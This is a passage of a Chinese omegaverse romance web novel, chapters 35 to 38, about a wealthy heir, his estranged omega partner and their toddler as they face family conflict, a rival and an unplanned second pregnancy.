因为苏以安家门根本就没关,里面还隐隐约约传来了争吵声和雪团的哭声。 谢不辞只听清了一句:“我告诉你,这事没得商量!” 这声音他也认得,中间现在掌权的大老板,苏以安拿名义上的亲爹。 找上门来了。 第35章 第 35 章 这不就来活了吗。 谢不辞想都没想, 立马打电话报警,说有人入室抢劫还要拐卖小孩。 挂掉电话他手都已经搭上门把手了,又觉得差点什么, 进门之前还让人把附近速度最快的记者找过来, 说他要买最显眼的娱乐板块, 价格随便开。 随后开门关门, 故意制作大动静打断在场交谈。 只有苏以安亲爹和钟家大儿子过来, 两人看见谢不辞脸色都变了变,甚至谢不辞还没从苏以安手中把雪团抱过来就听见了阴阳怪气:“谢大公子私闯omega家,说出去不太好听吧?” “这有什么的,来邻居家串个门而已,没有去沈家抢婚传的难听。” 从在走廊里,就没听见苏以安出声反驳什么,也一直都是亲爹不说话, 他这大哥嘴就没停过。 有年龄有阅历的人多少会沉得住气一些,苏以安他爹没搭理谢不辞那套,给旁边站着的儿子递了个眼色, 随后开口朝苏以安说话。 “你不用专门把谢不辞找回来气我们, 你大哥脾气比较冲说话不中听, 订婚宴上不是故意给你委屈受。” “沈伊作为伴侣,挑不出什么毛病来,在终身大事上还是别闹脾气。” 苏以安低着头不说话,雪团在他怀里也不知道哭了多久,哭声都已经开始变得沙哑。 他们无视谢不辞,谢不辞同样也没准备搭理他俩, 凑到苏以安身边伸手给雪团抹了抹眼泪。 “刚在说什么?” “你别怕,我一定尽快帮你一劳永逸的解决。” 还没等苏以安回答他, 门口就传来了急促的敲门声。 苏以安皱着眉看向谢不辞:“又是谁?” 离门口最近的人把门打开,紧接着就苏以安就看见穿着警服的人站在门口,朝着他们出示证件:“您好,我们是延城公安局的,接到电话举报,说有人入室抢劫还拐卖儿童,特地过来了解情况。” 说话的人身后还跟着好几个警员。 “对,就是他们俩,警官你看,我儿子哭的小脸通红,这么大点小孩就要受这种委屈,太恶劣了,快把他俩抓起来。” 隔着打开的门往外望,谢不辞看见有人举着相机在拍照于是立马对着证件还没完全收好的警员倾诉,还演得特别像样的抓住人家警员的手。 “谢不辞你!” “不好意思大哥,我是无赖。” 谢不辞挑衅似的朝一直瞪着他的钟家大儿子钟漫川开口。 为首的警员把马上要打起来似的的两人拉开,询问道:“到底是怎么回事?” “这两位都是我儿子,报警的跟我们家孩子有点感情纠纷,麻烦您跑一趟了,我们的家事我们自己可以解决。” 这会家长为了防止气氛变僵适时站出来和和气气的说话,不过谢不辞不吃这一套。 “什么叫你们的家事,你也没尽过抚养义务啊,再说了,他租的房子你哪来密码,他又不会给你俩开门,你俩怎么进来的敢不敢展开讲讲?” “把我们家孩子吓成这样,你俩能干什么好事。” 这时几乎全场的目光都聚集到了苏以安身上,苏以安也立马特别配合的拿袖子抹眼泪。 他依旧不说话,抱着孩子站在墙角,哭得要多可怜有多可怜。 不说话可以避免将得罪人的麻烦揽到自己身上,抹眼泪就是放低姿态主动将自己划分到需要庇护的群体范围内。 这会领头的警官又把目标转到谢不辞身上:“你跟他们什么关系?” “他手里抱的那个孩子是我的。” “你怎么证明?” 谢不辞本想说孩子跟他姓,想把户口之类的纸质文件找出来,他刚掏出手机,苏以安就特别配合的把雪团递给他。 但可能孩子也觉得谢不辞不那么靠谱,在这种受了惊吓的情况下根本不愿意离开苏以安,被谢不辞接过去以后反而哭得更凶了。 钟漫川没放过任何说风凉话的机会:“是你亲儿子吗,怎么好像他也不太认识你啊。” 这下换谢不辞没话可说了。 不过轮不到他们谁觉得尴尬,就已经要跟着几位警员回去配合调查了。 临上电梯之前,谢不辞还伸着脖子对那举着相机的记者扯着嗓子喊:“你是哪个报社的?你们那的娱乐板块最好的位置我买了!” “快多拍两张,等我回来一有消息就通知你,给你独家。” 话音落下,谢不辞面对的就是紧闭的电梯门。 现在没有人吵架,雪团也止住了哭声,只是还死死抱着苏以安脖子. 可能是从来没遇上过这种事,钟漫川特别不服,嘴就一直没闲着过:“你知道报假警是什么罪吗谢不辞,我看你还能嚣张到什么时候。” “哦,那你知道当众对怀孕的omega动手是什么罪吗。” 谢不辞说的漫不经心的,还欠欠的凑到钟漫川耳边,小声嘟囔:“宴会厅可是有录像的,你们家能拦苏以安可拦不了我。” “你他妈少扯蛋!” “哎呦钟大公子怎么拎不清轻重呢,我要不是扯蛋你麻烦大了呢。” 在他们这边,对omega保护力度很大,怀孕的omega得跟珍稀动物一样供起来。 单从对抛妻弃子alpha的处罚力度就能看得出来。 下了楼,还有谢不辞喊过来的动作没那么快的记者,刚才拌嘴的内容一字不差的让人听得清清楚楚。 “这是什么光彩的事吗你还喊这么多的记者?” 谢不辞不紧不慢的接话:“你也知道的,我这人名声不好,最不要脸了。” 短短几句话的拉扯,钟漫川就已经被气得话都快说不利索了。 “少说两句!” 钟漫川他爸呵斥完他,又转头看向谢不辞:“你闹这么难看你能捞到什么好处?” 混迹商场的人身上就自带一种老总气质,表面上再和蔼,也有不怒自威的效果。 结果谢不辞这人就软硬都不吃,尤其是面对这种关系一辈子都不可能好的人。 这可是他当着老婆面给老婆出气的机会,苏以安没制止,他就跟给他打了鸡血似的,恨不得钟家养的狗都得找点文明词骂两句。 要不是他家雪团在这不能抽烟,他都不敢想自己叼根烟能嘚瑟成什么样。 跟着去做完笔录走走流程,谢不辞就带着苏以安和孩子走出了派出所。 这种没什么人有损失的事情,只是报警的时候说的比较严重,谢不辞也没觉得真能给谁抓进去。 而且豪门嘛,很多事情都不太干净,只是双方都你情我愿的当买卖做,也不会有人特别没眼力见的准备窝端了谁家。 所以重头戏是谢不辞喊来那些记者写的稿子。 从有警察站在苏以安家门口就开始拍,把他跟钟漫川打嘴仗的过程全记录完整,他再专门给塞点炒作费,买点流量在网上一发。 绝对够钟家那几位闹心一阵子的。 回去是谢不辞打的车,雪团哭累了在苏以安肩膀上趴会就睡着了。 苏以安没阴阳他,他也没开口主动找不痛快。 他知道对于孩子去留这种决定很难做,毕竟是一条人命,苏以安不会轻易下定论,所以主动避开这个话题。 “你想雪团今天留在你那睡吗。” “都可以,今天他也挺委屈的,明天我把他给你送回去。” 说完这两句,他们好像也就没什么可交流的了。 他俩现在就很有中年夫妻的既视感,凑在一起除了聊孩子没别的话可说。 然后就是平平无奇的回家,在走廊分道扬镳。 欣慰不分也不行。 苏以安看出谢不辞有想跟他一起回去那意图以后,就沉默的站在门口看着他。 谢不辞一眼就能看出来,那是在告诉他,别有事没事找骂。 昨天晚上方明之就已经得到消息要回来了,算算时间,再有大概半个小时也就能到苏以安家了。 人家俩人玩了那么多年,有他在比谢不辞自己在还让人放心。 后面找来的那几个记者把写好的稿子都发到谢不辞手上,让他选一篇最满意的刊登。 谢不辞每一篇都认真看了。 也许有他给的实在太多了的因素在,他透过那些文字都能看出写稿的记者在简直用尽毕生学识胡编乱造。 八卦板块,人家想看的就只有你这瓜够不够炸裂,没那么多人在乎真的假的。 同样的,谢不辞也只是想用这样的方式恶心一下钟家。 想彻底解决苏以安户口问题绝对不是靠这种小打小闹。 稿子里写谢不辞跟苏以安分分合合七年,因为家庭原因被迫跟沈伊联姻,但二人本身情根深种,家庭不是迫使他们分开的理由,况且他们还有一个孩子。 稿子里还特意花费了不少笔墨描写他们还有一个孩子这件事。 毕竟,一个人是生不出孩子的。 谢不辞自己在家,闲的无聊把工作邮箱都清空了,在等秘书回消息的这段时间里,还收到了个新好友申请。 对方是个看起来就很装b的头像,比他还能装的那种。 谢不辞有种直觉,这一看就是那外国头牌哥,之前苏以安逛超市那会以男朋友身份介绍的那个。 他一点都没犹豫直接点了通过。 对方发消息速度很快,用着不太标准的普通话给他发语音:“你好,苏以安已经决定跟我回A国定居了,你把我们的孩子还给我。” 谢不辞:? 第36章 第 36 章 谁们的孩子?还给谁? 这还是中文吗? 咋每个字谢不辞都认识, 拼在一起就这么让人陌生呢? 谢不辞看着头牌哥聊天框最顶上那个对方正在说话,觉得他还能说出不少雷人的东西来,于是先发制人的回复:“不是哥们?谁教你这么要孩子的?” “你想要你不会自己找人生吗?” 那边直接无视了谢不辞刚发过去的语音, 自说自话道:“雪团很可爱, 我很喜欢, 你不用瞎操心。” “安安都已经跟你说了我是他男朋友, 你少在我家omega面前招不待见。” 还挺神奇。 谢不辞不要脸, 就一定会出现比他更不要脸的。 他直接气笑了,都懒得跟这头牌哥再掰扯什么,直接一个删除好友。 这种算什么情敌啊?苏以安也不是什么消停孩子,逢场作戏跟头牌玩玩就算了,还能真看上这种货色? 谢不辞都懒得把他放在眼里。 都打这么多年了,苏以安喜欢什么类型的,哪个是真情敌谢不辞一眼就能看出来。 要说能让谢不辞产生危机感的, 这么多年他在苏以安身边见过的都算上,估计也就只有一个沈伊。 谢不辞也玩,所以很清楚, 玩久了, 就吃笨拙的纯爱那一套, 哪怕苏以安当初是演的,他也依旧认为,要是一点感情都没有,苏以安怎么不跟别人演。 原以为把好友删了这茬就算过去了,结果那头牌哥锲而不舍,还发验证消息问他是不是玩不起挑衅他。 谢不辞本想给他顺手拉黑, 结果对方只挑衅了一句就换了条路,发验证消息告诉他, 有苏以安离开他去A国之前的录音。 这个…… 这个不是很能拒绝。 毕竟时间线往前拉的东西,挺不好找的,而且那可是苏以安怀着雪团离开他之前说的话,还主动送上来。 谢不辞脑子都没反应过来手就已经先点了通过验证。 重新加上好友那头牌哥就更嚣张了,又给他发了语音过来:“我老早之前就认得你。” …… 认得就认得呗,他以前玩那么花谁认得他都不是什么稀奇事。 还没等谢不辞再吐槽什么,他就直接甩了一段录音过来,并配了一条文字消息:你要是喜欢,我这还多的是。 很阴阳怪气的一句话。 谢不辞疑惑的点开录音。 里面开始只是一些正常的脚步声和开关门的声音,再往后就是布料摩擦,是苏以安和另一个谢不辞完全没印象的陌生男声的交谈声。 男人问苏以安,专门录了音,怕不怕这录音传到谢不辞手里。 然后苏以安回答,你要是觉得他愿意听人墙角你就发。 再往后整段录音,一个多小时,全是让人脸红心跳的东西,光靠听就知道花样一定不少。 谢不辞给头牌哥回了一个问号,外套都没拿一件就冲出去敲1501的门。 开门的是方明之,对方看见他以后先是皱了皱眉,紧接着语气不善的开口:“你来干什么?” 谢不辞没跟他解释,直接进门,把雪团从苏以安手里抢过来给方明之抱着,然后将苏以安拽进卧室。 不知道是不是苏以安的个人习惯,卧室里厚重的遮光窗帘几乎从没拉开过。 为了不让放这种录音显得气氛很奇怪,谢不辞还特意在质问之前打开了卧室的灯。 进了卧室以后,苏以安也没问谢不辞要干什么,就站在原地等他先开口。 谢不辞握着的拳头紧了又松,深吸好几口气平复情绪才勉强让开口的语气没那么像是来打架的:“这怎么回事?” 他又把刚才听过的录音在苏以安面前放了一遍。 但苏以安的表情始终淡淡的,直到谢不辞关上录音第二次质问,他才漫不经心的开口:“哦,是我,怎么了。” “你没玩过?” 平平无奇的四个字,就让谢不辞哑口无言。 他甚至听不出这句你没玩过是在吃醋阴阳他还是只平静的陈述事实。 而且苏以安一点都不觉得心虚,在这种事情上甚至不觉得尴尬或者羞耻。 不得不说,能做到这份上,绝对是心理素质足够强大,因为委屈受得太多什么行为都很难刺伤他。 “你就那么喜欢那个外国头牌哥?” “人家没名字吗,你一口一个头牌哥?” “我草,这他妈刚哪到哪啊你就袒护上了?” …… 交流不在同一个频道上,苏以安就懒得搭理他。 又不是什么了不得的要紧事,没必要解释。 这录音是什么时候的,苏以安自己都记不清了,里面男主人公是谁他也早就没有印象了。 谢不辞要这么说,估计录音就是那头牌哥给发的。 但其实,苏以安跟头牌哥也是逢场作戏的装纯爱,因为俩人都搞艺术,灵魂同频的地方不算少。 就从来没睡过。 但谢不辞这人拧巴,八成会因为觉得查了头牌哥会被苏以安看不起而没有任何行动,私底下生闷气。 还不告诉你到底在气什么。 录音已经是陈年旧瓜了,苏以安不是很想提,还因为谢不辞的质问无端烦躁。 “没别的事出去,我不想看见你。” 谢不辞剩下的话就全被堵了回去。 不知道是不是他的错觉,好像除了刚拿到孕检结果的当天苏以安很崩溃以外,剩下的时间苏以安表面上看起来一点都没受这件事的影响。 对他的态度也始终是不耐烦,他要来串门也可以见,不过很不愿意见。 所以,有没有老二苏以安其实不是很在乎对吗。 只要他俩还能见面,只要孕反没严重到怀雪团的那个程度,他们有必须待在一起的理由,感情慢慢都会回来的。 是这样吧? 谢不辞没再多说,留下一句你有需要可以随时给我打电话或者去对门找我就离开。 苏以安一愣。 没明白他想表达什么,但谢不辞已经自己拉开卧室门出去了。 有需要? 什么需要? 他这人怎么跟脑子里除了黄没装别的东西似的? 苏以安从卧室出去,方明之就凑上前来问:“他跟你说什么?” “谁知道他想说什么,莫名其妙的。” “而且他满脑子黄色废料,我有点担心雪团跟着他这样的爸学不出什么好来。” 方明之沉默片刻,把雪团塞到苏以安怀里:“那你就别看谢不辞啊,雪团可是你生的孩子,对孩子爹不满意换一个爹不就得了吗,孩子没惹任何人。” "咱远了不说,沈伊就挺好的啊,学医的稳重,人靠谱家世也不错。" 最主要的是,沈伊家里真的很宠这唯一的儿子,哪怕在家长眼里苏以安这条件搁相亲市场都很少有人正眼看,也还是愿意迁就儿子答应这门婚事。 出了订婚宴被谢不辞截胡这种事情,沈伊家里都只是中肯的评价苏以安。 那就说明,真的嫁给沈伊,家庭地位一定特别高,苏以安不说会过得很好,也绝对不可能比他自己一个人的时候差。 沈伊家教也不差,大部分情况都会念及苏以安精神状态不好尊重他迁就他。 见苏以安没什么反应,方明之又继续开口:“你要实在接受不了传出去是老实人接盘这种话,那不是还有艾德斯吗。” “你俩灵魂伴侣,带着雪团一家三口去国外定居不是也挺好的吗。” “我觉得艾德斯对你接受度很高,现在这个孩子,你想不想生他都能接受。” 苏以安没接话,抱了个抱枕躺到沙发上。 他其实不是很能理解为什么一定要找个人发展稳定关系,也很反感发情期要靠alpha解决,但他还不想一个人过。 “哎我说真的,你考虑考虑艾德斯呢。” “不考虑。” 两个搞艺术的凑在一起,指望着手里那点钱吃老本,天天倒贴画画唱歌,他简直不敢想往后的日子过得得有多糟心。 而且玩艺术的,有几个精神正常的? 太正常没法产出好作品。 就导致性格里基因里潜藏的偏执和暴力倾向,让苏以安很难预测他们相处久了会变成什么样。 “我才二十四,有必要那么着急吗。” 本来想以后的日子以后再说,他这样的人,配谁都算不上良配。 所以他真的不想结婚。 “……你不提年龄我还没那么想骂谢不辞。” “大学毕业才一年多,胡搞完了就让你生孩子,你刚二十四,雪团都快一岁了。” “算了不扯没用的,这个孩子什么时候打掉?拖得时间越久越危险你不是不知道的。” 道理都懂,但还是觉得遇上这样的事情特别让人心力交瘁。 生雪团的时候,苏以安几乎把能吃的苦都吃遍了。 产后抑郁也没放过他。 虽然脱离了原来的圈子,不跟一些乱七八糟的老板接触,不至于那么痛苦。 但无法改变的是,这孩子是苏以安最开始为了报复谢不辞才生的,他回来这一趟,本身就已经在自我折磨了。 肚子里这老二完全意料之外,他也是真的手足无措。 一想到打掉要承受至少一个月的失眠噩梦,他就下意识的后怕,连去医院这几个字都听不得。 可他又很清楚这孩子根本不能留。 “再说吧,再给我几天,我会尽快处理好。” 第37章 第 37 章 回公司上班以后, 谢不辞本来以为会很忙,但真到公司一看,交到他手里的其实也没多少工作。 因为绝大部分得罪人又不好干的活, 都被他爸的秘书给接走了。 以前他们家一直秉承着做什么都留有余地的原则, 除了谢不辞本人又渣名声又差以外, 他们家合作过的老板跟他们关系都不错。 所以才会出现钟家这种总想抢他们生意还处处跟他们作对的竞争对手。 跟钟家具体有什么冲突谢不辞也没打听, 但他知道他要是不开这个头, 他爸不会打压任何竞争对手。 无论对方讲不讲商场道义。 下班以后,谢不辞还特意带了两瓶红酒去他爸公司顶楼。 原计划是跟他爸喝点,顺便再扯扯闲篇什么的,结果他爸没空搭理他,让他把酒放下该回去回去。 他在他爸办公室等了将近一个小时,他爸才终于憋出来一句嘱咐:自己想办法把沈伊那边处理好。 在家长眼里,沈伊是个好孩子。 没有凭空截人家未婚妻还不解释的道理。 于是谢不辞又把蒋泽薅到了他们老地方的那个包间。 以前来, 是什么酒贵开什么,哪个男模姿色高技术好点哪个,还总能叫出一大堆朋友。 现在是来了也只有谢不辞和蒋泽两个人, 服务生一个不让进, 晚上回去要照顾雪团酒不能喝, 烟也不让蒋泽抽。 纠结了半天,然后谢不辞点了两个果盘招待蒋泽。 蒋泽推开包厢门进来,看见空空荡荡的桌子上只摆着两个整齐果盘的那一刻,愣了足足几十秒才开口:“咋的哥们,破产了?” “喝不起了只能吃果盘啊?” “你可咒我点好吧。” 谢不辞特别主动的从果盘里扎了块西瓜喂到蒋泽嘴边:“来第一口军师先吃。” 蒋泽看着那块西瓜表情都皱到一块,他嫌弃的扒拉开谢不辞:“滚滚滚, 你少恶心我。” 认识好多年的朋友,稍微有一点亲密举止都觉得对方在犯贱。 “你知道什么叫过命的交情吗老谢。” “就是我在会所包间, 为了陪你,跟个和尚一样只能吃果盘。” “我天呢这也太过命了,离了你我还上哪去找能为我这么付出的朋友去。” 蒋泽没再跟他扯有的没的,直接进入正题,从手机里找出才查到的视频,随后把手机递到谢不辞面前。 “给我视频的人说,这样的视频,苏以安手里肯定还有好多。” 视频里的场景像是谁家,装修得很有艺术气息,苏以安全身上下都只穿着一件勉强遮住大腿根的白衬衫,那衣服还松松垮垮,一看就不是他自己的。 视频应该是三四年前拍的了。 反正在谢不辞的印象里,苏以安只有三四年前才染过小粉毛。 视频里的另一个主角就是头牌哥。 苏以安被头牌哥压在沙发上,两人举止亲密,鼻尖对鼻尖的交流。 那头牌哥情话一句接着一句。 反正谢不辞理解不了,反而觉得对方矫揉造作,起一身鸡皮疙瘩:“我现在好像知道高中那会我有多丢人现眼了。” 蒋泽从果盘里扎了两块苹果塞进嘴里:“没事的谢阿姨办事效率你放心,你的高清黑历史绝对流传不出去。” …… 他俩说话这空,视频里的头牌哥也没见闭嘴。 不过苏以安清醒得让谢不辞有些诧异。 苏以安不会被任何鬼话忽悠,听着那些情怀,只跟头牌哥说自己在像见不得光的老鼠一样在地下室长大,说之前会从垃圾桶里翻别人遗弃的,露棉絮的旧冬衣。 说从小到大第一次坐轿车是户口被钟家强制迁走那天,说他只会用粉笔和树枝画画,刚开始学艺术只带了一支铅笔进教室。 处处都在以开玩笑的口吻贬低自己,却偏偏被人当成是床上角色扮演的情趣。 当事人也许没那么在乎,但谢不辞看得各种难受。 “如果这些话让我在以前听到,我脑子里冒出来的第一个想法可能会是,也许我应该多给他一些钱。” “可是我现在才听到。” “我知道他说的都是真的,我不觉得他可怜,他很坚强,他比百分之九十的人都厉害。” 在苏以安的思想里,一定是他这样的人不配得到爱,所以谁说都不信。 而恰好谢不辞这人三分钟热度,能轻易得到的也一定会轻易抛弃。 高中那会谢不辞不服苏以安拒绝他,才会把视线长时间停留在苏以安身上,但哪怕他再稍微多花一点点心思,就能看出苏以安的敏感脆弱。 青春期的小孩,都在做灰姑娘的美梦。 被豪门接回家,可以再也不用为了下顿可能吃不上饭担惊受怕,还被全校最有头脸又家世显赫的校草表白,苦了那么多年了,正常来讲都会觉得是转运了有些飘飘然。 苏以安不这么觉得。 那就说明,在他拒绝谢不辞之前,一定还有什么把他打击得体无完肤的事情。 “所以现在想给的不是钱了对吧。” “嗯。” “他不该白白被欺负,我想帮他讨回所有公道,我无所谓别人怎么议论我,起码我要保证,有我在,他想做什么都没人敢指指点点。” 蒋泽把手机收回来,看向谢不辞的目光都带上了几分意味深长:“你知道我现在看你什么感觉吗。” “我养了这么多年的好大儿终于长大了。” “就那种老父亲的欣慰。” 谢不辞没搭理他这茬,话锋一转:“那么问题来了军师哥,你觉得我跟沈伊竞争,我的优势在哪?” 这下蒋泽说不出话了。 他俩大眼瞪小眼的看了许久,蒋泽才干巴巴的挤出一句:“大概可能也许应该……你比较有钱?” “可是苏以安不缺钱啊。” “你这么一说我倒还真有点好奇,那苏以安不选沈伊的理由是什么呢?” 紧接着他俩把所有可能性都列了个遍,也没找出一个靠谱的。 蒋泽跟沈伊比较熟,但不太了解苏以安,谢不辞了解苏以安但雪团来他家之前不认识沈伊。 俩人就在那拼拼凑凑,结果发现不管从谁的视角思考,都得不到一个合理解释,最终也只能选择放弃。 后面又商量了怎么和沈伊协商解决。 只是这种事情,怎么看都是死局,蒋泽也给不出好意见来。 代入一下沈伊视角就是,你特别喜欢一个人,对方也觉得你很好,还答应了跟你订婚,别管订婚原因是什么,反正答应了,当天也到场了。 然后有个傻逼过来把你未婚妻劫走,你怕你逼得太紧未婚妻压力太大而做出什么无法挽回的偏激行为退步。 结果这个时候,那傻逼找到你,说他喜欢你未婚妻,让你主动退出。 这要是答应了,窝囊成这个样子,得被人笑话一辈子吧? 所以谢不辞决定,先跟苏以安谈。 从拿到孕检结果到现在,都已经三天过去了,他要是再不闻不问,就显得他像个想逃避责任的渣男了。 从会所离开,时间还早。 九点多,夜生活刚刚开始的时间点。 苏以安绝对还没睡。 谢不辞进到走廊以后,看都没看自己家门一眼,直接走向1501。 只是他没预料到,敲门也没人开。 也就是说,方明之可能不在,是苏以安自己带着雪团在家里。 觉得也许是在忙什么抽不开身,谢不辞就输密码打开了门。 进去以后他便听见了马桶冲水的声音,还有苏以安的干呕声。 也没顾上冒不冒犯,谢不辞径直走过去打开卫生间的门。 苏以安跪坐在地上,也不知道抱着马桶吐了多久,谢不辞看见他的时候,他整张脸都是灰白的。 “好点了吗。” 谢不辞轻轻拍了拍苏以安的背,把人从地上搀扶起来。 但苏以安几乎没有力气支撑自己身体的重量,只能软趴趴的挂在他身上。 想起之前沈伊给他科普的那套话,谢不辞拿出手机,准备喊个救护车过来。 他把人送到医院效率太低了,而且苏以安也并不一定会配合。 可他没想到他刚拿出手机苏以安就知道他要干什么,伸手把他手机抢过去,结果因为提不起什么力气,手机从两人手中滑下去砸在地上。 谁也没接住。 “不去医院。” “为啥?” 谢不辞不知道该怎么形容苏以安这个声音,大概像病得躺床上就起不来的那种人开口气若游丝的感觉。 但苏以安异常坚持,又重复了一遍不去医院这四个字。 还在他颈窝间蹭了蹭,把不知道什么时候落下的眼泪蹭到他衣领上。 谢不辞把人抱进卧室。 还倒了杯温水放在床头。 然后在苏以安缩在被子里不愿意说话的时间里,给沈伊发了一大堆消息,问怎么缓解怀孕初期孕反,问如果真的有很严重的心理疾病这种时候能不能吃药。 那边聊天窗口退出去,谢不辞又开始给方明之发消息问雪团哪去了,问发生了什么苏以安才情绪这么差。 两人都没回复的这会他甚至还查了查别人家omega因为怀孕闹脾气的时候alpha都是怎么做的。 虽然没得到什么有用的信息,但起码看到了心理安慰。 随后谢不辞看见方明之给他回了一个问号。 还有一句:他跟我说今天去医院把孩子打了,让我把雪团抱走一晚上,明天再去给你送过去,早上我看着他挂号的呀。 谢不辞盯着这条消息看了好久。 如果他没记错的话,打胎……好像当天也是要住院的吧? 第38章 第 38 章 后面方明之还专门嘱咐了一句:[他爸去世以后, 每到临近过年他都可焦虑了,你少招他。] 如果谢不辞没记错,苏以安他爸已经去世五六年了。 别人都有家, 过年的时候热热闹闹, 就苏以安一个人守在冷冷清清的出租房里, 吃着速冻饺子看春晚。 人是群居动物, 都挺怕孤独的。 焦虑在所难免。 可能救风尘这种英雄主义是基因里自带的, 反正想到这谢不辞立马责任感爆棚的想带着苏以安去他家别墅过年,还能一家五口和和美美的。 谢不辞还想再问方明之点什么,不过这会被子里伸出只手拽了拽他的袖子,然后传出了有些沉闷的声音:“有点冷。” 他立马会意,放下手机把被子掀开一点小缝爬进去。 像苏以安这种人死了嘴都是硬的的人,想要他信息素肯定不会直说,这不就是台阶吗。 他可不是那种只会给加条被子的老直男。 钻进被子里以后, 谢不辞还特意顺手关掉了床头的灯。 苏以安扯着他袖子的那只手挺凉的,两人相顾无言了许久,谢不辞都没把那只手捂热。 房间里安静得可以听清两人的呼吸声, 就在谢不辞以为苏以安都要睡着了的时候, 忽然听见对方开口。 “我今天去医院, 看见你前男友了。” 谢不辞有点不知道该怎么接这句话。 好老套的开场白。 按照剧本,他是不是应该问前男友怎么了,然后表现出一副很焦急的样子,胃病低血糖这种都猜一遍,再以一种智障又欠揍的语气让苏以安有话赶紧说? 真这么办事,苏以安能把他从床上踹下去吧? “然后呢?” “不对, 我没谈过,你遇上谁了?” 他们这算不算情敌见面啊?能不能当场掐起来啊? “我也不知道是谁, 好像还有点大众脸,看见我就跟我说他才是你男朋友,只要他想,你们随时可以结婚,让我少做靠孩子上位这种春秋大梦。” 谢不辞:…… 大众脸这个词已经很有标志性了,毕竟他什么风格的都尝试过,但因为记性不好,不管哪个被提起来他都不太能想得起来。 “你猜我怎么跟他说的。” 按谢不辞对苏以安面对陌生人找茬这种事的刻板印象来看,他觉得苏以安会一言不发的听对方把耀武扬威的牛吹完,再最多骂一句神经病就走掉。 或者跟他有关的人,苏以安一律没什么耐心,听都不会听完就像轰他一样,让那假前男友也滚。 但谢不辞很有自知之明的觉得自己肯定猜不对,不然苏以安都不会拿这件事情跟他讲。 “我说那你得努力啊哥们,不然我二胎都生完了,某些人还在谢不辞不知道有这号人的前提下拿自己能嫁进谢家口嗨呢。” “哎我草,这发挥,太有怼我那味了。” 谢不辞不知道他埋汰的是谁,只能预料到正常人去威胁人,听见这种话脸色肯定都好不到哪去。 “然后我看见他做信息素检测,估计是准备人为的干预一下发情期?” “想靠在什么活动上见你跟你滚到一起去。” “我说谢经理,一年多没见,你品位什么时候差成这样了,这种货色也看得上?” 谢不辞原想反驳两句,但之前苏以安走了有一阵子的时候,他后知后觉的意识到人可能真的不会再回来了那会,找了个不少替身。 有信息素味道相近的,有眼睛比较像的,有背影很神似的,还有画画的时候和苏以安某个角度的侧脸几乎一样的。 不过这肯定不能承认,不然太丢人了。 “埋汰完他又来阴阳我啊?” “不是。” “我本来是想说,别给雪团找这样的后爸。” 苏以安知道,他们这个年龄,尤其是谢不辞这种家大业大的,说不结婚一定不现实。 所以哪怕谢不辞不听,也不会在意他说了什么,他也还是想多嘱咐一句。 谢不辞轻笑一声,回答道:“有些人,图个一时新鲜玩玩也就算了,真谈的话,太冒犯了吧。” 觉得这句话不一定只是表面意思,苏以安没立马回话。 事实上谢不辞也确实在暗示。 暗示苏以安跟头牌哥玩玩就算了,头牌哥这种比他还能装b的人别谈。 不过苏以安可能没接收到他想表达什么:“哦,那你要跟谁结婚记得提前让我看看。” “八竿子打不着的事情,你这么急啊?” 表面上虽然是这么说,但谢不辞已经准备好了明天就找人算个适合嫁娶的好日子。 然后悄悄给苏以安准备个惊喜。 话都说到这份上了,不就是吃醋想结婚又没好意思直说吗。 谢不辞觉得自己这个理解力简直无敌,这个世界上就没有比他更能看出苏以安潜台词的人。 “我有什么可急的?” “好好好别说了,我都懂。” 苏以安不清楚他又抽什么疯,但也不想继续跟他聊下去,于是抢过一半的被子,翻身去了床的另一边。 见苏以安没轰他,谢不辞还因为刚才有情商会哄人暗暗窃喜了一把。 随后他特别有眼色的没再过去骚扰苏以安,还悄悄在手机上给他家管家发了消息让管家着手准备一下婚礼相关。 晚上的气氛难得和谐。 他俩没吵起来,苏以安也没再因为情绪不好或者孕吐之类的睡不好觉。 第二天一大早,方明之就带着雪团过来。 把孩子给了谢不辞,然后把俩人一起轰到对门。 问过了早上的奶粉还没给孩子,谢不辞先从零食柜里给雪团找了个看起来他还没吃过的奶酪棒。 结果雪团接过来以后,跟他说再要一个。 谢不辞以为是方明之晚饭给吃得早饿着孩子了,也没多想就又给了一个。 但他没理解雪团想表达什么,给孩子急得让谢不辞抱起来,自己伸手去够零食柜里的包装袋。 “你方叔叔没给你饭吃吗?” 把柜子里所有奶酪棒都拿出来以后,谢不辞伸手想把雪团手里那支奶酪棒的包装给撕开,结果雪团不给他,手里的和桌子上的都算上,一个都不给。 不管谢不辞说多少遍不跟他抢,只是想帮忙撕个包装都没用,硬要拿雪团就跟他哭。 雪团很挑食,谢不辞知道,绝大多数零食都根本不会吃第二次。 他把奶酪棒都倒出来,拿起包装纸看了看。 就是普通的奶酪棒,牌子谢不辞都没怎么听说过,也不是什么进口的东西。 “你不吃你干嘛要抢它啊?” “给爸爸。” “那你为啥不让我拿?” 这会谢不辞觉得,可能是苏以安带孩子的时候拿了一个被孩子记住了,想着先给冲奶粉,一会再带着雪团去对门给苏以安送。 然后他又听见雪团的声音:“爸爸还没吃过。” “那就是你喜欢这个?” “喜欢。” 谢不辞不太愿意让雪团也受从小就要省吃俭用的苦:“你可以不用专门给你爸爸留,你能吃得到的,我都能让你爸爸也吃到。” “没关系,你就算把这些都吃完,我也能给你再买好多好多。” 出乎谢不辞意料的是,雪团还是不愿意把手里的奶酪棒给他让他打开,只用还不算能说得特别清楚的声音回应他:“那就留好多好多给爸爸。” 小孩子的思想很单纯。 他只觉得,他吃过一次就不想吃的东西有那么多,好不容易遇上了个喜欢的,要专门留给苏以安或者和苏以安一起吃。 这也让谢不辞特别直观的感受了一把,什么叫没人比你的孩子更爱你。 “儿子哥你真上道,你要是个alpha,你也跑不了是个大渣男。” “你说我咋就没给你录个音呢,让你爸爸好好听听。” “我跟你讲啊,一会到了对门,你就把你刚才跟我说的也跟你爸说一遍。” 虽然知道表演出来的可能没刚才那个效果好,但谢不辞就是觉得还不到一岁的小孩知道处处想着苏以安,苏以安说什么也不能错过。 随后谢不辞动作很快的去厨房烧水给雪团冲奶粉。 也没注意到他回来就没关紧的门前,站着手里钻攥着奶瓶刷的苏以安。 因为一字不差的都听见了,苏以安才迟迟不敢进门。 他没见过这么单纯又专一的爱,所以听见的第一反应就是逃避。 他有过那么一瞬间的,想把雪团从谢不辞手里抢回来的冲动。 但没敢真的继续这样想下去。 因为他认为,真的爱该是希望雪团过得好,而跟着他这样与各种老板不清不楚还随时可能被人盯上报复的人,绝对没有跟着谢不辞安全又衣食无忧。 他没法完全逃开富人圈这个团体。 苏以安走进门,雪团立马特别开心的喊他爸爸,还伸手让他抱。 